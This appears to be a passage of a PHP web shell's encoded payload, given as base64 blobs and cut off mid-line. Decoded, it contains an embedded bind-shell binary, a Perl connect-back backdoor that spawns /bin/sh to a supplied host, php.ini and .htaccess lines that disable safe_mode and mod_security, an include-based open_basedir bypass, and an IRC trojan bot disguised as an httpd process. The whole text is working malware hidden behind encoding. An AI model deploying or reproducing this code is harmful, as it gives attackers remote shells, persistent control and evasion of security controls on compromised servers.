FRUNCUUJBQUFUQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUNNQUFBQUhBQUFBQWdBQUFDaUJCQWdvQVFBQ UlBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQXhBQUFBQlFBQUFBSUFBQUJJZ1FRSVNBRUFBSmdBQUFBRUF BQUFBQUFBQUFRQUFBQUVBQUFBTndBQUFBc0FBQUFDQUFBQTRJRUVDT0FCQUFBd0FRQUFCUUFBQUFFQUFBQ UVBQUFBRUFBQUFEOEFBQUFEQUFBQUFnQUFBQkNEQkFnUUF3QUFzQUFBQUFBQUFBQUFBQUFBQVFBQUFBQUF BQUJIQUFBQS8vLy9id0lBQUFEQWd3UUl3QU1BQUNZQUFBQUVBQUFBQUFBQUFBSUFBQUFDQUFBQVZBQUFBU DcvLzI4Q0FBQUE2SU1FQ09nREFBQWdBQUFBQlFBQUFBRUFBQUFFQUFBQUFBQUFBR01BQUFBSkFBQUFBZ0F BQUFpRUJBZ0lCQUFBQ0FBQUFBUUFBQUFBQUFBQUJBQUFBQWdBQUFCc0FBQUFDUUFBQUFJQUFBQVFoQVFJR UFRQUFIZ0FBQUFFQUFBQUN3QUFBQVFBQUFBSUFBQUFkUUFBQUFFQUFBQUdBQUFBaUlRRUNJZ0VBQUFYQUF BQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUhBQUFBQUJBQUFBQmdBQUFLQ0VCQWlnQkFBQUFBRUFBQUFBQUFBQ UFBQUFCQUFBQUFRQUFBQjdBQUFBQVFBQUFBWUFBQUNnaFFRSW9BVUFBSVFEQUFBQUFBQUFBQUFBQUFRQUF BQUFBQUFBZ1FBQUFBRUFBQUFHQUFBQUpJa0VDQ1FKQUFBZEFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFJY 0FBQUFCQUFBQUFnQUFBRVNKQkFoRUNRQUFZd0FBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUNQQUFBQUFRQUF BQUlBQUFDb2lRUUlxQWtBQUFRQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQW1RQUFBQUVBQUFBREFBQUFyS mtFQ0t3SkFBQUlBQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBS0FBQUFBQkFBQUFBd0FBQUxTWkJBaTBDUUF BQ0FBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFDbkFBQUFBUUFBQUFNQUFBQzhtUVFJdkFrQUFBUUFB QUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFyQUFBQUFZQUFBQURBQUFBd0prRUNNQUpBQURJQUFBQUJRQUFBQU FBQUFBRUFBQUFDQUFBQUxVQUFBQUJBQUFBQXdBQUFJaWFCQWlJQ2dBQUJBQUFBQUFBQUFBQUFBQUFCQUFB QUFRQUFBQzZBQUFBQVFBQUFBTUFBQUNNbWdRSWpBb0FBRWdBQUFBQUFBQUFBQUFBQUFRQUFBQUVBQUFBd3 dBQUFBRUFBQUFEQUFBQTFKb0VDTlFLQUFBTUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFNa0FBQUFJQUFB QUF3QUFBT0NhQkFqZ0NnQUFCQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQURPQUFBQUFRQUFBQUFBQUFBQU FBQUE0QW9BQUNZQkFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQTF3QUFBQUVBQUFBQUFBQUFBQUFBQUFnTUFB Q0lBQUFBQUFBQUFBQUFBQUFJQUFBQUFBQUFBT1lBQUFBQkFBQUFBQUFBQUFBQUFBQ1FEQUFBSlFBQUFBQU FBQUFBQUFBQUFRQUFBQUFBQUFEMkFBQUFBUUFBQUFBQUFBQUFBQUFBdFF3QUFDc0NBQUFBQUFBQUFBQUFB QUVBQUFBQUFBQUFBZ0VBQUFFQUFBQUFBQUFBQUFBQUFPQU9BQUIyQUFBQUFBQUFBQUFBQUFBQkFBQUFBQU FBQUJBQkFBQUJBQUFBQUFBQUFBQUFBQUJXRHdBQXV3RUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQWNBUUFB QVFBQUFEQUFBQUFBQUFBQUVSRUFBTDhBQUFBQUFBQUFBQUFBQUFFQUFBQUJBQUFBRVFBQUFBTUFBQUFBQU FBQUFBQUFBTkFSQUFBbkFRQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBRUFBQUFDQUFBQUFBQUFBQUFBQUFC SUdBQUE4QVVBQUNFQUFBQS9BQUFBQkFBQUFCQUFBQUFKQUFBQUF3QUFBQUFBQUFBQUFBQUFPQjRBQUxJRE FBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVVnUVFJQUFBQUFB TUFBUUFBQUFBQUtJRUVDQUFBQUFBREFBSUFBQUFBQUVpQkJBZ0FBQUFBQXdBREFBQUFBQURnZ1FRSUFBQU FBQU1BQkFBQUFBQUFFSU1FQ0FBQUFBQURBQVVBQUFBQUFNQ0RCQWdBQUFBQUF3QUdBQUFBQUFEb2d3UUlB QUFBQUFNQUJ3QUFBQUFBQ0lRRUNBQUFBQUFEQUFnQUFBQUFBQkNFQkFnQUFBQUFBd0FKQUFBQUFBQ0loQV FJQUFBQUFBTUFDZ0FBQUFBQW9JUUVDQUFBQUFBREFBc0FBQUFBQUtDRkJBZ0FBQUFBQXdBTUFBQUFBQUFr aVFRSUFBQUFBQU1BRFFBQUFBQUFSSWtFQ0FBQUFBQURBQTRBQUFBQUFLaUpCQWdBQUFBQUF3QVBBQUFBQU
FDc21RUUlBQUFBQUFNQUVBQUFBQUFBdEprRUNBQUFBQUFEQUJFQUFBQUFBTHlaQkFnQUFBQUFBd0FTQUFB QUFBREFtUVFJQUFBQUFBTUFFd0FBQUFBQWlKb0VDQUFBQUFBREFCUUFBQUFBQUl5YUJBZ0FBQUFBQXdBVk FBQUFBQURVbWdRSUFBQUFBQU1BRmdBQUFBQUE0Sm9FQ0FBQUFBQURBQmNBQUFBQUFBQUFBQUFBQUFBQUF3 QVlBQUFBQUFBQUFBQUFBQUFBQUFNQUdRQUFBQUFBQUFBQUFBQUFBQUFEQUJvQUFBQUFBQUFBQUFBQUFBQU FBd0FiQUFBQUFBQUFBQUFBQUFBQUFBTUFIQUFBQUFBQUFBQUFBQUFBQUFBREFCMEFBQUFBQUFBQUFBQUFB QUFBQXdBZUFBQUFBQUFBQUFBQUFBQUFBQU1BSHdBQUFBQUFBQUFBQUFBQUFBQURBQ0FBQUFBQUFBQUFBQU FBQUFBQUF3QWhBQUVBQUFBQUFBQUFBQUFBQUFRQThmOE1BQUFBQUFBQUFBQUFBQUFFQVBIL0tBQUFBQUFB QUFBQUFBQUFCQUR4L3k4QUFBQUFBQUFBQUFBQUFBUUE4Zjg2QUFBQUFBQUFBQUFBQUFBRUFQSC9kQUFBQU 1TRkJBZ0FBQUFBQWdBTUFJUUFBQUFBQUFBQUFBQUFBQVFBOGYrUEFBQUFySmtFQ0FBQUFBQUJBQkFBblFB QUFMU1pCQWdBQUFBQUFRQVJBS3NBQUFDOG1RUUlBQUFBQUFFQUVnQzRBQUFBNEpvRUNBRUFBQUFCQUJjQX h3QUFBTnlhQkFnQUFBQUFBUUFXQU00QUFBRHNoUVFJQUFBQUFBSUFEQURrQUFBQUc0WUVDQUFBQUFBQ0FB d0FoQUFBQUFBQUFBQUFBQUFBQkFEeC8vQUFBQUN3bVFRSUFBQUFBQUVBRUFEOUFBQUF1SmtFQ0FBQUFBQU JBQkVBQ2dFQUFLaUpCQWdBQUFBQUFRQVBBQmdCQUFDOG1RUUlBQUFBQUFFQUVnQWtBUUFBK0lnRUNBQUFB QUFDQUF3QUx3QUFBQUFBQUFBQUFBQUFCQUR4L3pvQkFBQUFBQUFBQUFBQUFBUUE4ZjkwQVFBQUFBQUFBQU FBQUFBRUFQSC9lQUVBQU1DWkJBZ0FBQUFBQVFJVEFJRUJBQUNzbVFRSUFBQUFBQUFDOGYrU0FRQUFySmtF Q0FBQUFBQUFBdkgvcFFFQUFLeVpCQWdBQUFBQUFBTHgvN1lCQUFDTW1nUUlBQUFBQUFFQ0ZRRE1BUUFBck prRUNBQUFBQUFBQXZILzN3RUFBQUFBQUFCMUFRQUFFZ0FBQVBBQkFBQUFBQUFBY1FBQUFCSUFBQUFCQWdB QVJJa0VDQVFBQUFBUkFBNEFDQUlBQUFBQUFBRE1BQUFBRWdBQUFCb0NBQUFBQUFBQVdnQUFBQklBQUFBcU FnQUEySm9FQ0FBQUFBQVJBaFlBTndJQUFLMklCQWhLQUFBQUVnQU1BRWNDQUFBQUFBQUFlQUFBQUJJQUFB QlpBZ0FBaUlRRUNBQUFBQUFTQUFvQVh3SUFBQUFBQUFBNUFBQUFFZ0FBQUhFQ0FBQUFBQUFBT1FBQUFCSU FBQUNIQWdBQW9JVUVDQUFBQUFBU0FBd0FqZ0lBQUZ5SUJBaFJBQUFBRWdBTUFKNENBQURnbWdRSUFBQUFB QkFBOGYrcUFnQUFRSVlFQ0J3Q0FBQVNBQXdBcndJQUFBQUFBQURtQUFBQUVnQUFBTXdDQUFBQUFBQUFPZ0 FBQUJJQUFBRGNBZ0FBMUpvRUNBQUFBQUFnQUJZQTV3SUFBQUFBQUFBNUFBQUFFZ0FBQVBjQ0FBQWtpUVFJ QUFBQUFCSUFEUUQ5QWdBQUFBQUFBTGtBQUFBU0FBQUFEUU1BQUFBQUFBQXJBQUFBRWdBQUFCMERBQURnbW dRSUFBQUFBQkFBOGY4a0F3QUE2SVVFQ0FBQUFBQVNBZ3dBT3dNQUFPU2FCQWdBQUFBQUVBRHgvMEFEQUFB QUFBQUFlQUFBQUJJQUFBQlFBd0FBQUFBQUFBNEFBQUFTQUFBQVlRTUFBRWlKQkFnRUFBQUFFUUFPQUhBRE FBRFVtZ1FJQUFBQUFCQUFGZ0I5QXdBQUFBQUFBRGtBQUFBU0FBQUFqd01BQUFBQUFBQUFBQUFBSUFBQUFL TURBQUFBQUFBQUFBQUFBQ0FBQUFBQVlXSnBMVzV2ZEdVdVV3QXVMaTl6ZVhOa1pYQnpMMmt6T0RZdlpXeG 1MM04wWVhKMExsTUFhVzVwZEM1akFHbHVhWFJtYVc1cExtTUFMMkoxYVd4a0wySjFhV3hrWkM5bmJHbGlZ eTB5TGpNdU5pOWlkV2xzWkMxMGNtVmxMMmt6T0RZdGJHbGlZeTlqYzNVdlkzSjBhUzVUQUdOaGJHeGZaMj F2Ymw5emRHRnlkQUJqY25SemRIVm1aaTVqQUY5ZlExUlBVbDlNU1ZOVVgxOEFYMTlFVkU5U1gweEpVMVJm WHdCZlgwcERVbDlNU1ZOVVgxOEFZMjl0Y0d4bGRHVmtMalEwTmpNQWNDNDBORFl5QUY5ZlpHOWZaMnh2WW 1Gc1gyUjBiM0p6WDJGMWVBQm1jbUZ0WlY5a2RXMXRlUUJmWDBOVVQxSmZSVTVFWDE4QVgxOUVWRTlTWDBW T1JGOWZBRjlmUmxKQlRVVmZSVTVFWDE4QVgxOUtRMUpmUlU1RVgxOEFYMTlrYjE5bmJHOWlZV3hmWTNSdm NuTmZZWFY0QUM5aWRXbHNaQzlpZFdsc1pHUXZaMnhwWW1NdE1pNHpMall2WW5WcGJHUXRkSEpsWlM5cE16 ZzJMV3hwWW1NdlkzTjFMMk55ZEc0dVV3QXhMbU1BWDBSWlRrRk5TVU1BWDE5bWFXNXBYMkZ5Y21GNVgyVn VaQUJmWDJacGJtbGZZWEp5WVhsZmMzUmhjblFBWDE5cGJtbDBYMkZ5Y21GNVgyVnVaQUJmUjB4UFFrRk1Y MDlHUmxORlZGOVVRVUpNUlY4QVgxOXBibWwwWDJGeWNtRjVYM04wWVhKMEFHVjRaV05zUUVCSFRFbENRMT h5TGpBQVkyeHZjMlZBUUVkTVNVSkRYekl1TUFCZlpuQmZhSGNBY0dWeWNtOXlRRUJIVEVsQ1ExOHlMakFB Wm05eWEwQkFSMHhKUWtOZk1pNHdBRjlmWkhOdlgyaGhibVJzWlFCZlgyeHBZbU5mWTNOMVgyWnBibWtBWV dOalpYQjBRRUJIVEVsQ1ExOHlMakFBWDJsdWFYUUFiR2x6ZEdWdVFFQkhURWxDUTE4eUxqQUFjMlYwYzI5 amEyOXdkRUJBUjB4SlFrTmZNaTR3QUY5emRHRnlkQUJmWDJ4cFltTmZZM04xWDJsdWFYUUFYMTlpYzNOZm MzUmhjblFBYldGcGJnQmZYMnhwWW1OZmMzUmhjblJmYldGcGJrQkFSMHhKUWtOZk1pNHdBR1IxY0RKQVFF ZE1TVUpEWHpJdU1BQmtZWFJoWDNOMFlYSjBBR0pwYm1SQVFFZE1TVUpEWHpJdU1BQmZabWx1YVFCbGVHbD BRRUJIVEVsQ1ExOHlMakFBWVhSdmFVQkFSMHhKUWtOZk1pNHdBRjlsWkdGMFlRQmZYMmsyT0RZdVoyVjBY M0JqWDNSb2RXNXJMbUo0QUY5bGJtUUFjMlZ1WkVCQVIweEpRa05mTWk0d0FHaDBiMjV6UUVCSFRFbENRMT h5TGpBQVgwbFBYM04wWkdsdVgzVnpaV1FBWDE5a1lYUmhYM04wWVhKMEFITnZZMnRsZEVCQVIweEpRa05m TWk0d0FGOUtkbDlTWldkcGMzUmxja05zWVhOelpYTUFYMTluYlc5dVgzTjBZWEowWDE4QSI7DQokYmFja1 9jb25uZWN0cz0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS2FXWWdLQ0VrUVZK SFZsc3dYU2tnZXcwS0lDQndjbWx1ZEdZZ0lsVnpZV2RsT2lBa01DQmJTRzl6ZEYwZ1BGQnZjblErWEc0aU 93MEtJQ0JsZUdsMEtERXBPdzBLZlEwS2NISnBiblFnSWxzcVhTQkVkVzF3YVc1bklFRnlaM1Z0Wlc1MGMx eHVJanNOQ2lSb2IzTjBJRDBnSkVGU1IxWmJNRjA3RFFva2NHOXlkQ0E5SURnd093MEthV1lnS0NSQlVrZF dXekZkS1NCN0RRb2dJQ1J3YjNKMElEMGdKRUZTUjFaYk1WMDdEUXA5RFFwd2NtbHVkQ0FpV3lwZElFTnZi bTVsWTNScGJtY3VMaTVjYmlJN0RRb2tjSEp2ZEc4Z1BTQm5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeW tnZkh3Z1pHbGxLQ0pWYm10dWIzZHVJRkJ5YjNSdlkyOXNYRzRpS1RzTkNuTnZZMnRsZENoVFJWSldSVklz SUZCR1gwbE9SVlFzSUZOUFEwdGZVMVJTUlVGTkxDQWtjSEp2ZEc4cElIeDhJR1JwWlNBb0lsTnZZMnRsZE NCRmNuSnZjbHh1SWlrN0RRcHRlU0FrZEdGeVoyVjBJRDBnYVc1bGRGOWhkRzl1S0NSb2IzTjBLVHNOQ21s bUlDZ2hZMjl1Ym1WamRDaFRSVkpXUlZJc0lIQmhZMnNnSWxOdVFUUjRPQ0lzSURJc0lDUndiM0owTENBa2
RHRnlaMlYwS1NrZ2V3MEtJQ0JrYVdVb0lsVnVZV0pzWlNCMGJ5QkRiMjV1WldOMFhHNGlLVHNOQ24wTkNu QnlhVzUwSUNKYktsMGdVM0JoZDI1cGJtY2dVMmhsYkd4Y2JpSTdEUXBwWmlBb0lXWnZjbXNvSUNrcElIc0 5DaUFnYjNCbGJpaFRWRVJKVGl3aVBpWlRSVkpXUlZJaUtUc05DaUFnYjNCbGJpaFRWRVJQVlZRc0lqNG1V MFZTVmtWU0lpazdEUW9nSUc5d1pXNG9VMVJFUlZKU0xDSStKbE5GVWxaRlVpSXBPdzBLSUNCd2NtbHVkQ0 FpTFMwOVBTQkRiMjV1WldOMFFtRmpheUJDWVdOclpHOXZjaUIyY3lBeExqQWdZbmtnVTI1SmNFVnlYMU5C SUhOdWFYQmxjaTF6WVM1amIyMGdQVDB0TFNBZ1hHNWNiaUk3SUEwS2MzbHpkR1Z0S0NKMWJuTmxkQ0JJU1 ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0xTMDlQVk41YzNSbGJXbHVabTg5UFMw dElEc2dkVzVoYldVZ0xXRTdaV05vYnpzTkNtVmphRzhnTFMwOVBWVnpaWEpwYm1adlBUMHRMU0E3SUdsa0 8yVmphRzg3WldOb2J5QXRMVDA5UkdseVpXTjBiM0o1UFQwdExTQTdJSEIzWkR0bFkyaHZPeUJsWTJodklD MHRQVDFUYUdWc2JEMDlMUzBnSWlrN0lBMEtJQ0JsZUdWaklIc25MMkpwYmk5emFDZDlJQ2N0WW1GemFDY2 dMaUFpWERBaUlIZ2dORHNOQ2lBZ1pYaHBkQ2d3S1RzTkNuMD0iOw0KJHBocF9pbmkxPSJjMkZtWlY5dGIy UmxJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ1BTQWdJQ0FnSUNCUFptWT0iOw0KJGh0YWNjZXM9IlBFbG1UVzlrZF d4bElHMXZaRjl6WldOMWNtbDBlUzVqUGcwS0lDQWdJRk5sWTBacGJIUmxja1Z1WjJsdVpTQlBabVlOQ2lB Z0lDQlRaV05HYVd4MFpYSlRZMkZ1VUU5VFZDQlBabVlOQ2p3dlNXWk5iMlIxYkdVKyI7DQokc25pX3Jlcz 0iUEQ4TkNtVmphRzhnYVc1cFgyZGxkQ2dpYzJGbVpWOXRiMlJsSWlrN0RRcGxZMmh2SUdsdWFWOW5aWFFv SW05d1pXNWZZbUZ6WldScGNpSXBPdzBLYVc1amJIVmtaU2drWDBkRlZGc2labWxzWlNKZEtUc05DbWx1YV Y5eVpYTjBiM0psS0NKellXWmxYMjF2WkdVaUtUc05DbWx1YVY5eVpYTjBiM0psS0NKdmNHVnVYMkpoYzJW a2FYSWlLVHNOQ21WamFHOGdhVzVwWDJkbGRDZ2ljMkZtWlY5dGIyUmxJaWs3RFFwbFkyaHZJR2x1YVY5bl pYUW9JbTl3Wlc1ZlltRnpaV1JwY2lJcE93MEthVzVqYkhWa1pTZ2tYMGRGVkZzaWMzTWlYU2s3RFFvL1Bn PT0iOw0KDQppZighZW1wdHkoJF9QT1NUWydpcmNhZG1pbiddKSBBTkQgIWVtcHR5KCRfUE9TVFsnaXJjc2 VydmVyJ10pIEFORCAhZW1wdHkoJF9QT1NUWydpcmNjaGFuYWwnXSkgQU5EICFlbXB0eSgkX1BPU1RbJ2ly Y25hbWUnXSkpDQp7DQokaXJjYWRtaW49JF9QT1NUWydpcmNhZG1pbiddOw0KJGlyY3NlcnZlcj0kX1BPU1 RbJ2lyY3NlcnZlciddOw0KJGlyY2NoYW49JF9QT1NUWydpcmNjaGFuYWwnXTsNCiRpcmNsYWJlbD0kX1BP U1RbJ2lyY25hbWUnXTsNCmVjaG8gIjx0aXRsZT5PdmVyY2xvY2tpWCBTaGVsbC1Db25uZWN0b3IgfHwgQ2 9ubmVjdGluZyB0byAkaXJjc2VydmVyPHRpdGxlPiI7DQplY2hvICI8Ym9keSBiZ2NvbG9yPVwiYmxhY2tc IiB0ZXh0PVwiZ3JlZW5cIj4iOw0KZWNobyAiTm93IENvbm5lY3RpbmcgdG8gPGI+PGZvbnQgY29sb3I9XC JyZWRcIj4kaXJjc2VydmVyPC9mb250PjwvYj4gaW4gPGI+PGZvbnQgY29sb3I9XCJ5ZWxsb3dcIj4kaXJj Y2hhbjwvZm9udD48L2I+IEFuZG1pbmlzdHJhdG9yczogPGI+PGZvbnQgY29sb3I9XCJ5ZWxsb3dcIj4kaX JjYWRtaW48L2ZvbnQ+PC9iPiBCb3RuYW1lIGlzIDxiPjxmb250IGNvbG9yPVwieWVsbG93XCI+JGlyY2xh YmVsPC9mb250PjwvYj4iOw0KZWNobyAiPHA+RG9udCBGb3JnZXQgdG8gRGVsZXRlIExvYWRlci5wbCBpbi AvdG1wPC9wPiI7DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj IyMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjSVJDIFRyb2phbiMjIyMjIyMjIyMjIyMjIyMjIyMjIy MjIyMjDQokZmlsZT0iDQojIyMjIyMjIyMjIyMjIyMjIENPTkZJR1VSQUNBTyAjIyMjIyMjIyMjIyMjIyMj IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KbXkgXCRwcm9jZX NzbyA9ICcvdXNyL2xvY2FsL2FwYWNoZS9iaW4vaHR0cGQgLURTU0wnOyAjIE5vbWUgZG8gcHJvY2Vzc28g cXVlIHZhaSBhcGFyZWNlIG5vIHBzICMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS 0tLS0tLS0tLS0tIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQpt eSBcJGxpbmFzX21heD0nNDgnOyAjIEV2aXRhIG8gZmxvb2QgOikgZGVwb2lzIGRlIFggbGluaGFzICMNCi MtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIyMjIyMjIyMjIyMjIyMj IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQpteSBcJHNsZWVwPSc0JzsgIyBlbGUgZG9ybW UgWCBzZWd1bmRvcyAjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMgSVJDICMjIyMjIyMjIyMjIyMjIyMjIyMj IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KbXkgQGFkbXM9KF wiJGlyY2FkbWluXCIpOyAjIE5pY2sgZG8gYWRtaW5pc3RyYWRvciAjDQojLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy MjIyMjIyMjIyMjIyMjIw0KbXkgQGNhbmFpcz0oXCIkaXJjY2hhblwiKTsgIyBDYXNvIGhhamEgc2V uaGEgKFwiI2NhbmFsIDpzZW5oYVwiKSAjDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL S0tLS0tLS0tLS0tLSMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0 KbXkgXCRuaWNrPSckaXJjbGFiZWwnOyAjIE5pY2sgZG8gYm90LiBDYXNvIGVzdGVqYSBlbSB1c28gdmFpI GFwYXJlY2VyICMNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyB hcGFyZWNlciBjb20gbnVtZXJvIHJhZG9uYW1pY28gbm8gZmluYWwgIw0KIy0tLS0tLS0tLS0tLS0tLS0tL S0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM jIyMjIyMjIyMjIyMjIyMNCm15IFwkaXJjbmFtZSA9ICdMaW51eCc7ICMgVXNlciBJRCAjDQojLS0tLS0tL S0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMjIyMjIyMjIyMjIyMjIyMjIyMjIyM jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KY2hvcCAobXkgXCRyZWFsbmFtZSA9IGB1bmFtZSAtYWApO yAjIEZ1bGwgTmFtZSAjDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0 tLSMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KXCRzZXJ2aWRvc j0nJGlyY3NlcnZlcicgdW5sZXNzIFwkc2Vydmlkb3I7ICMgU2Vydmlkb3IgZGUgaXJjIHF1ZSB2YWkgc2V yIHVzYWRvICMNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBjY
XNvIG7jbyBzZWphIGVzcGVjaWZpY2FkbyBubyBhcmd1bWVudG8gIw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0 tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI yMjIyMjIyMjIyMjIyMNCm15IFwkcG9ydGE9JzY2NjcnOyAjIFBvcnRhIGRvIHNlcnZpZG9yIGRlIGlyYyA jDQojIyMjIyMjIyMjIyMjIyMjIEFDRVNTTyBBIFNIRUxMICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI yMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KbXkgXCRzZWN2ID0gMTsgIyAxLzAgcHJ hIGhhYmlsaXRhL2Rlc2FiaWxpdGEgYWNlc3NvIGEgc2hlbGwgIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjI yMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM jIyMjIyMjIyMjIyMNCm15IFwkVkVSU0FPID0gJzAuMic7DQpcJFNJR3snSU5UJ30gPSAnSUdOT1JFJzsNC lwkU0lHeydIVVAnfSA9ICdJR05PUkUnOw0KXCRTSUd7J1RFUk0nfSA9ICdJR05PUkUnOw0KXCRTSUd7J0N ITEQnfSA9ICdJR05PUkUnOw0KXCRTSUd7J1BTJ30gPSAnSUdOT1JFJzsNClwkU0lHeydTVE9QJ30gPSAnS UdOT1JFJzsNCnVzZSBJTzo6U29ja2V0Ow0KdXNlIFNvY2tldDsNCnVzZSBJTzo6U2VsZWN0Ow0KY2hkaXI oXCIvXCIpOw0KXCRzZXJ2aWRvcj1cIlwkQVJHVlswXVwiIGlmIFwkQVJHVlswXTsNCiQwPVwiXCRwcm9jZ XNzb1wiLlwiXDBcIngxNjs7DQpteSBcJHBpZD1mb3JrOw0KZXhpdCBpZiBcJHBpZDsNCmRpZSBcIlByb2J sZW1hIGNvbSBvIGZvcms6ICQhXCIgdW5sZXNzIGRlZmluZWQoXCRwaWQpOw0KbXkgXCRkY2Nfc2VsID0gb mV3IElPOjpTZWxlY3QtPm5ldygpOw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgQjB0Y2h aIG5hIHZlaWEgZWhlaGUgOlAgIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCg0KXCRzZWxfY 2xpZW50ZSA9IElPOjpTZWxlY3QtPm5ldygpOw0Kc3ViIHNlbmRyYXcgew0KICBpZiAoJCNfID09ICcxJyk gew0KICAgIG15IFwkc29ja2V0ID0gXCRfWzBdOw0KICAgIHByaW50IFwkc29ja2V0IFwiXCRfWzFdXFxuX CI7DQogIH0gZWxzZSB7DQogICAgICBwcmludCBcJElSQ19jdXJfc29ja2V0IFwiXCRfWzBdXFxuXCI7DQo gIH0NCn0NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0Kc3ViIGNvbmVjdGFyIHsNCiAgI G15IFwkbWV1bmljayA9IFwkX1swXTsNCiAgIG15IFwkc2Vydmlkb3JfY29uID0gXCRfWzFdOw0KICAgbXk gXCRwb3J0YV9jb24gPSBcJF9bMl07DQoNCiAgIG15IFwkSVJDX3NvY2tldCA9IElPOjpTb2NrZXQ6OklOR VQtPm5ldyhQcm90bz0+XCJ0Y3BcIiwgUGVlckFkZHI9PlwiXCRzZXJ2aWRvcl9jb25cIiwgUGVlclBvcnQ 9PlwkcG9ydGFfY29uKSBvciByZXR1cm4oMSk7DQogICBpZiAoZGVmaW5lZChcJElSQ19zb2NrZXQpKSB7D QogICAgIFwkSVJDX2N1cl9zb2NrZXQgPSBcJElSQ19zb2NrZXQ7DQoNCiAgICAgXCRJUkNfc29ja2V0LT5 hdXRvZmx1c2goMSk7DQogICAgIFwkc2VsX2NsaWVudGUtPmFkZChcJElSQ19zb2NrZXQpOw0KDQogICAgI FwkaXJjX3NlcnZlcnN7XCRJUkNfY3VyX3NvY2tldH17J2hvc3QnfSA9IFwiXCRzZXJ2aWRvcl9jb25cIjs NCiAgICAgXCRpcmNfc2VydmVyc3tcJElSQ19jdXJfc29ja2V0fXsncG9ydGEnfSA9IFwiXCRwb3J0YV9jb 25cIjsNCiAgICAgXCRpcmNfc2VydmVyc3tcJElSQ19jdXJfc29ja2V0fXsnbmljayd9ID0gXCRtZXVuaWN rOw0KICAgICBcJGlyY19zZXJ2ZXJze1wkSVJDX2N1cl9zb2NrZXR9eydtZXVpcCd9ID0gXCRJUkNfc29ja 2V0LT5zb2NraG9zdDsNCiAgICAgbmljayhcIlwkbWV1bmlja1wiKTsNCiAgICAgc2VuZHJhdyhcIlVTRVI gXCRpcmNuYW1lIFwiLlwkSVJDX3NvY2tldC0+c29ja2hvc3QuXCIgXCRzZXJ2aWRvcl9jb24gOlwkcmVhb G5hbWVcIik7DQogICAgIHNsZWVwIDE7DQogICB9DQp9ICMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQpteSB cJGxpbmVfdGVtcDsNCndoaWxlKCAxICkgew0KICAgd2hpbGUgKCEoa2V5cyglaXJjX3NlcnZlcnMpKSkge yBjb25lY3RhcihcIlwkbmlja1wiLCBcIlwkc2Vydmlkb3JcIiwgXCJcJHBvcnRhXCIpOyB9DQogICBkZWx 